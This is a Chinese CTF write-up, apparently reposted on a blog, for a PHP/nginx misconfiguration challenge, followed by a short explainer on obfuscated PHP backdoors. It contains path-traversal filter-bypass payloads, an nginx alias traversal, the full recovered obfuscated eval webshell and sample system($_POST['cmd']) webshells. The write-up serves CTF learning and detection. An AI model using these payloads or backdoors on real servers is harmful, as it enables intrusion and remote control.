8.攻防世界Web_php_wrong_nginx_config

进入题目页面如下

尝试弱口令密码登录

一直显示网站建设中,尝试无果,查看源码也没有什么特别漏洞存在

用Kali中的dirsearch扫描根目录试试

命令:

dirsearch -u http://61.147.171.105:53736/ -e*

登录文件便是刚才登录的界面打开robots.txt文件

有两个文件分别查看

hint.php文件提示配置文件有问题

虽给出提示但根目录也无法下手如何找到路径

Hack.php一直弹窗请登录!

尝试用burp suite抓Hack.php文件的包

发现cookie的值登录这里有异常,尝试改变值,改为1试试

出现页面

点击多个链接并抓包在管理中心这个链接中抓包修改cookie值为1再放行得到/admin/admin.php?file=index&ext=php文件

发送到重放器重点分析

看了一位大佬的博客才知道可能过滤了../,链接如下

攻防世界web Web_php_wrong_nginx_config - zhangzhijie98 - 博客园

构造payload

?file=i../ndex&ext=php

出现please continue

构造payload

?file=i./ndex&ext=php

没有出现please continue

判断是过滤了../

尝试用 ..././ 来绕过

构造payload

?file=..././..././..././..././/etc/nginx/sites-enabled/site.conf&ext=

得到配置信息

                       server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

 访问 /web-img/,这个地方可以进行文件遍历,直接点会跳转到登录页面

构造payload

/web-img../

在根目录下/var/www/下有hack.php.bak文件

构造payload

/web-img../var/www/

得到上述文件其中一个是hack.php的备份,下载下来

打开得到PHP代码,但怎么是乱码啊qyq

运行代码,输出$f,可以用下面这个在线运行工具

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

$kh="42f7";$kf="e9ac";
function x($t,$k) {$c=strlen($k);
$l=strlen($t);$o="";for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {$i}^$k {$j};}}return $o;}$r=$SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$SESSION;$ss="substr";$sl="strtolower";$i=$m1.$m1;
$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m2];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);}
if(array_key_exists($i,$s)) {
$s[$i].=$p;$e=strpos($s[$i],$f);
if($e) {$k=$kh.$kf;ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();
ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");@session_destroy();}}}}

这里看大佬编写了一个脚本最终得到flag

这里涉及一个PHP混淆后面分析的知识点

 PHP 混淆后门

PHP 混淆后门是一种经过特殊处理的恶意 PHP 代码,攻击者将其部署在目标服务器上,以实现对服务器的远程控制和非法访问。为了逃避安全检测工具(如防火墙、入侵检测系统等)的监测,攻击者会对原始的后门代码进行混淆处理。混淆手段包括但不限于变量和函数名替换、代码结构打乱、字符串加密等,使代码难以阅读和分析。

常见的 PHP 混淆后门形式及原理

1. 变量和函数名替换混淆
  • 原理:将正常的变量名和函数名替换为无意义的随机字符串,使代码的语义变得模糊。
  • 示例
// 原始后门代码
<?php
if ($_POST['pass'] == 'password') {system($_POST['cmd']);
}
?>// 混淆后的代码
<?php
if ($_POST['a'] == 'b') {$c = 'system';$c($_POST['d']);
}
?>

在混淆后的代码中,变量名和字符串都被替换,使得安全检测工具难以通过关键字匹配发现后门。

2. 代码结构打乱混淆
  • 原理:改变代码的执行顺序,插入无用的代码块或分支,增加代码的复杂度。
  • 示例
<?php
$rand = rand(1, 10);
if ($rand % 2 == 0) {if ($_POST['pass'] == 'password') {system($_POST['cmd']);}
} else {// 无用代码块$x = 1 + 2;$y = $x * 3;
}
?>

这种混淆方式使代码逻辑变得混乱,增加了分析的难度。

3. 字符串加密混淆
  • 原理:对代码中的敏感字符串(如密码、命令执行函数名等)进行加密处理,在运行时再进行解密。
  • 示例
<?php
$key = 'secretkey';
$encrypted = 'aGVsbG8='; // 假设这是加密后的字符串
$decrypted = base64_decode($encrypted);
for ($i = 0; $i < strlen($decrypted); $i++) {$decrypted[$i] = $decrypted[$i] ^ $key[$i % strlen($key)];
}
if ($_POST['pass'] == $decrypted) {$func = 'system';$func($_POST['cmd']);
}
?>

在这个示例中,密码字符串被加密,只有在运行时解密后才能使用,增加了检测的难度。

检测和防范 PHP 混淆后门的方法

检测方法
  • 静态代码分析:使用代码扫描工具对服务器上的 PHP 文件进行全面扫描,检测代码中的异常模式和潜在的后门特征。一些开源的代码扫描工具如 PHPCS(PHP_CodeSniffer)可以帮助发现代码中的不规范和可疑之处
  • 动态行为监测:通过监测服务器的运行行为,如异常的文件操作、网络连接等,发现潜在的后门活动。入侵检测系统(IDS)和入侵防御系统(IPS)可以对服务器的网络流量和系统调用进行实时监测
  • 机器学习和深度学习方法:利用机器学习和深度学习算法对代码的特征进行学习和分析,识别出混淆后门。可以训练模型来区分正常代码和恶意代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/13173.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

排序算法--计数排序

唯一种没有比较的排序(指没有前后比较,还是有交换的)。统计每个元素出现的次数&#xff0c;直接计算元素在有序序列中的位置&#xff0c;要求数据是整数且范围有限。适用于数据为小范围整数&#xff08;如年龄、成绩&#xff09;&#xff0c;数据重复率较高时效率更优。可用于小…

PyTorch快速入门

Anaconda Anaconda 是一款面向科学计算的开源 Python 发行版本&#xff0c;它集成了众多科学计算所需的库、工具和环境管理系统&#xff0c;旨在简化包管理和部署&#xff0c;提升开发与研究效率。 核心组件&#xff1a; Conda&#xff1a;这是 Anaconda 自带的包和环境管理…

树莓派卷积神经网络实战车牌检测与识别

文章目录 树莓派介绍1. 树莓派的硬件规格2. 树莓派的操作系统3. 树莓派的应用场景 研究背景一、效果演示1.0 项目获取1.1 图像识别1.2 视频识别 二、技术原理2.1 整体流程2.2 CCPD数据集介绍2.3 车牌定位2.4 车牌矫正2.5 车牌识别2.5.1 CRNN概述2.5.2 CRNN网络架构实现2.5.3 CN…

Redis入门概述

1.1、Redis是什么 Redis&#xff1a;官网 高性能带有数据结构的Key-Value内存数据库 Remote Dictionary Server&#xff08;远程字典服务器&#xff09;是完全开源的&#xff0c;使用ANSIC语言编写遵守BSD协议&#xff0c;例如String、Hash、List、Set、SortedSet等等。数据…

如何在自己电脑上私有化部署deep seek

要在自己的电脑上私有化部署 DeepSeek&#xff0c;通常需要以下步骤&#xff1a; 1. 环境准备 操作系统&#xff1a;确保你的电脑操作系统支持 Docker 或直接安装 Python 环境&#xff08;如 Linux、Windows 或 macOS&#xff09;。 Python 环境&#xff1a;安装 Python 3.7 …

【办公类-99-01】20250201学具PDF打印会缩小一圈——解决办法:换一个PDF阅读器

背景需求&#xff1a; 2024年1月13日&#xff0c;快要放寒假了&#xff0c;组长拿着我们班的打印好的一叠教案来调整。 “前面周计划下面的家园共育有调整&#xff0c;你自己看批注。” “还有你这个教案部分的模版有问题&#xff0c;太小&#xff08;窄&#xff09;了。考虑…

k8s集群

文章目录 项目描述项目环境系统与软件版本概览项目步骤 环境准备IP地址规划关闭selinux和firewall配置静态ip地址修改主机名添加hosts解析 项目步骤一、使用kubeadm安装k8s单master的集群环境&#xff08;1个master2个node节点&#xff09;1、互相之间建立免密通道2.关闭交换分…

HTTP和HTTPS协议详解

HTTP和HTTPS协议详解 HTTP详解什么是http协议http协议的发展史http0.9http1.0http1.1http2.0 http协议的格式URI和URL请求request响应response http协议完整的请求与响应流程 HTTPS详解为什么使用HTTPSSSL协议HTTPS通信过程TLS协议 HTTP详解 什么是http协议 1、全称Hyper Tex…

2025开源DouyinLiveRecorder全平台直播间录制工具整合包,多直播同时录制、教学直播录制、教学视频推送、简单易用不占内存

一、DouyinLiveRecorder软件介绍&#xff08;文末提供下载&#xff09; 官方地址&#xff1a;GitHub - ihmily/DouyinLiveRecorder 本文信息来源于作者GitHub地址 一款简易的可循环值守的直播录制工具&#xff0c;基于FFmpeg实现多平台直播源录制&#xff0c;支持自定义配置录制…

学习threejs,pvr格式图片文件贴图

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️PVR贴图1.2 ☘️THREE.Mesh…

Beans模块之工厂模块注解模块CustomAutowireConfigurer

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

(一)DeepSeek大模型安装部署-Ollama安装

大模型deepseek安装部署 (一)、安装ollama curl -fsSL https://ollama.com/install.sh | sh sudo systemctl start ollama sudo systemctl enable ollama sudo systemctl status ollama(二)、安装ollama遇到网络问题&#xff0c;请手动下载 ollama-linux-amd64.tgz curl -L …

使用Pygame制作“贪吃蛇”游戏

贪吃蛇 是一款经典的休闲小游戏&#xff1a;玩家通过操控一条会不断变长的“蛇”在屏幕中移动&#xff0c;去吃随机出现的食物&#xff0c;同时要避免撞到墙壁或自己身体的其他部分。由于其逻辑相对简单&#xff0c;但可玩性和扩展性都不错&#xff0c;非常适合作为新手练习游戏…

【prompt实战】AI +OCR技术结合ChatGPT能力项目实践(BOL提单识别提取专家)

本文原创作者:姚瑞南 AI-agent 大模型运营专家,先后任职于美团、猎聘等中大厂AI训练专家和智能运营专家岗;多年人工智能行业智能产品运营及大模型落地经验,拥有AI外呼方向国家专利与PMP项目管理证书。(转载需经授权) 目录 1. 需求背景 2. 目标 3. BOL通用处理逻辑…

dl学习笔记(8):fashion-mnist

过完年懒羊羊也要复工了&#xff0c;这一节的内容不多&#xff0c;我们接着上次的fashion-mnist数据集。 首先第一步就是导入数据集&#xff0c;由于这个数据集很有名&#xff0c;是深度学习的常见入门数据集&#xff0c;所以可以在库里面导入。由于是图像数据集所以&#xff…

【Rust自学】20.2. 最后的项目:多线程Web服务器

说句题外话&#xff0c;这篇文章非常要求Rust的各方面知识&#xff0c;最好看一下我的【Rust自学】专栏的所有内容。这篇文章也是整个专栏最长&#xff08;4762字&#xff09;的文章&#xff0c;需要多次阅读消化&#xff0c;最好点个收藏&#xff0c;免得刷不到了。 喜欢的话…

Android学习21 -- launcher

1 前言 之前在工作中&#xff0c;第一次听到launcher有点蒙圈&#xff0c;不知道是啥&#xff0c;当时还赶鸭子上架去和客户PK launcher的事。后来才知道其实就是安卓的桌面。本来还以为很复杂&#xff0c;毕竟之前接触过windows的桌面&#xff0c;那叫一个复杂。。。 后面查了…

[创业之路-276]:从燃油汽车到智能汽车:工业革命下的价值变迁

目录 前言&#xff1a; 从燃油汽车到智能汽车&#xff1a;工业革命下的价值变迁 前言&#xff1a; 燃油汽车&#xff0c;第一次、第二次工业革命&#xff0c;机械化、电气化时代的产物&#xff0c;以机械和电气自动化为核心价值。 智能汽车&#xff0c;第三次、第四次工业革…

Spring Boot - 数据库集成07 - 数据库连接池

数据库连接池 文章目录 数据库连接池一&#xff1a;知识准备1&#xff1a;什么是数据库连接池&#xff1f;2&#xff1a;数据库连接池基本原理 二&#xff1a;HikariCP连接池1&#xff1a;简单使用2&#xff1a;进一步理解2.1&#xff1a;是SpringBoot2.x默认连接池2.2&#xf…

Python-基于PyQt5,Pillow,pathilb,imageio,moviepy,sys的GIF(动图)制作工具

前言&#xff1a;在抖音&#xff0c;快手等社交平台上&#xff0c;我们常常见到各种各样的GIF动画。在各大评论区里面&#xff0c;GIF图片以其短小精悍、生动有趣的特点&#xff0c;被广泛用于分享各种有趣的场景、搞笑的瞬间、精彩的动作等&#xff0c;能够快速吸引我们的注意…